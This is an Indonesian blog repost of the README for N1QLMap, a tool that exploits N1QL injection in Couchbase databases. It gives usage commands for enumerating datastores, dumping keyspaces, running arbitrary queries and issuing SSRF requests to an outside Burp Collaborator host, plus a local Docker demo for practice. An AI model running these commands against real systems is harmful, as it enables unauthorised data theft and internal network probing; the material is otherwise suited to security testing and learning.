Kang IT
N1QLMap - Alat Mengeksfiltrasi Data Dari Database Couchbase Dengan Memanfaatkan Kerentanan Injeksi N1QL
N1QLMap
adalah alat eksploitasi N1QL . Saat ini bekerja dengan database Couchbase. Alat ini mendukung ekstraksi data dan melakukan serangan SSRF melalui CURL. Informasi lebih lanjut dapat ditemukan di sini: https://labs.f-secure.com/blog/n1ql-injection-kind-of-sql-injection-in-a-nosql-database .
Bantuan Penggunaan
usage: n1qlMap.py [-h] [-r REQUEST] [-k KEYWORD] [--proxy PROXY] [--validatecerts] [-v]
(-d | -ks DATASTORE_URL | -e KEYSPACE_ID | -q QUERY | -c [ENDPOINT [OPTIONS ...]])
host
positional arguments:
host Host used to send an HTTP request e.g. https://vulndomain.net
optional arguments:
-h, --help show this help message and exit
-r REQUEST, --request REQUEST
Path to an HTTP request
-k KEYWORD, --keyword KEYWORD
Keyword that exists in HTTP response when query is successful
--proxy PROXY Proxy server address
--validatecerts Set the flag to enforce certificate validation. Certificates are not validated by default!
-v, --verbose_debug Set the verbosity level to debug
-d, -- datastores Lists available datastores
-ks DATASTORE_URL, --keyspaces DATASTORE_URL
Lists available keyspaces for specific datastore URL
-e KEYSPACE_ID, --extract KEYSPACE_ID
Extracts data from a specific keyspace
-q QUERY, --query QUERY
Run arbitrary N1QL query
-c [ENDPOINT [OPTIONS ...]], --curl [ENDPOINT [OPTIONS ...]]
Runs CURL N1QL function inside the query, can be used to SSRF
Pemakaian
- Masukkan permintaan HTTP ke
request.txt
file. Tandai titik injeksi menggunakan*i*
. Lihatexample_request_1.txt
file untuk referensi. - Gunakan salah satu perintah berikut.
Ekstrak datastores:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --datastores
Ekstrak ruang kunci dari ID datastore tertentu:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --keyspaces "http://127.0.0.1:8091"
Ekstrak semua dokumen dari ruang kunci yang diberikan:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --extract travel-sample
Jalankan kueri arbitrer:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --query 'SELECT * FROM `travel-sample` AS T ORDER by META(T).id LIMIT 1'
Lakukan permintaan CURL / SSRF:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --curl *************j3mrt7xy3pre.burpcollaborator.net "{'request':'POST','data':'data','header':['User-Agent: Agent Smith']}"
Demo
Untuk bermain dengan kerentanan Anda dapat memutar mesin Docker dengan aplikasi web Couchbase dan NodeJS. Jika Anda sudah memenuhi Requirements, jalankan saja:
cd n1ql-demo
./quick_setup.sh
Sekarang, Anda dapat menjalankan perintah yang dijelaskan di Usage
bagian terhadap aplikasi web Docker.
Persyaratan
N1QLMap.py
skrip tidak memerlukan persyaratan khusus selain Python 3.
Persyaratan berikut hanya untuk Demo yang tersedia di n1ql-demo
direktori.
- Buruh pelabuhan
- Docker Compose
Untuk menginstal Docker dan Docker Compose di Kali:
# Docker Installation
curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -
echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' > /etc/apt/sources.list.d/docker.list
apt-get update
apt-get remove docker docker-engine docker.io
apt-get install docker-ce
# Start Docker Service
systemctl start docker
# Docker Compose Installation
sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
Mari kita uji Docker:
docker run hello-world
Regards
dr. Muhammad Sobri Maulana
No comments:
Post a Comment